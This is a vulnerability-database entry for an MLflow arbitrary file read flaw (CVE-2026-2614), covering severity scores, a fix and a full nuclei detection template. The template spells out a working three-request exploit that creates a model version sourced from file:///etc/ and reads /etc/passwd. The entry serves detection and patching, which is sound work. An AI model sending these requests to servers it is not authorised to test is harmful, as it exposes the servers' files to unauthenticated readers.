HexBrain

Browse / CVEs / CVE-2026-2614

CVE-2026-2614· mlflow / mlflow· CWE-22

MLflow <= 3.9.0 - Arbitrary File Read

highseverity
7.5CVSS score
3.6%likelihood of exploitation, next 30 days
90%of all CVEs are less likely
Readycheck to confirm it

mlflow mlflow <= 3.9.0 contains a path traversal caused by bypassing source path validation via the mlflow.prompt.is_prompt tag in CreateModelVersion request, letting unauthenticated remote attackers read arbitrary files.

Impact

Unauthenticated attackers can read arbitrary files on the server, leading to complete confidentiality compromise.

Fix

Upgrade to version 3.10.0 or later.

How to confirm it

Send: POST /api/2.0/mlflow/registered-models/create ; POST /api/2.0/mlflow/model-versions/create ; GET /model-versions/get-artifact?name={{model}}&version=1&path=passwd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2026-2614 -u <target>

The full check
id: CVE-2026-2614

info:
  name: MLflow <= 3.9.0 - Arbitrary File Read
  author: str4k3r
  severity: high
  description: |
    mlflow mlflow <= 3.9.0 contains a path traversal caused by bypassing source path validation via the mlflow.prompt.is_prompt tag in CreateModelVersion request, letting unauthenticated remote attackers read arbitrary files.
  impact: |
    Unauthenticated attackers can read arbitrary files on the server, leading to complete confidentiality compromise.
  remediation: |
    Upgrade to version 3.10.0 or later.
  reference:
    - https://github.com/mlflow/mlflow/security/advisories
    - https://github.com/mlflow/mlflow/commit/6e801f4259d96804c73107315b24cef0f6aa115a
    - https://huntr.com/bounties/19380271-3fbf-4beb-987e-6fd7069c55e6
    - https://nvd.nist.gov/vuln/detail/CVE-2026-2614
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-2614
    epss-score: 0.03626
    epss-percentile: 0.89624
    cwe-id: CWE-22
  metadata:
    max-request: 3
    verified: true
    vendor: mlflow
    product: mlflow
    shodan-query: title:"MLflow"
  tags: cve,cve2026,mlflow,lfi,traversal,vkev

variables:
  model: "{{to_lower(rand_base(10))}}"

http:
  - raw:
      - |
        POST /api/2.0/mlflow/registered-models/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name":"{{model}}"}

      - |
        POST /api/2.0/mlflow/model-versions/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name":"{{model}}","source":"file:///etc/","tags":[{"key":"mlflow.prompt.is_prompt","value":"true"}]}

      - |
        GET /model-versions/get-artifact?name={{model}}&version=1&path=passwd HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from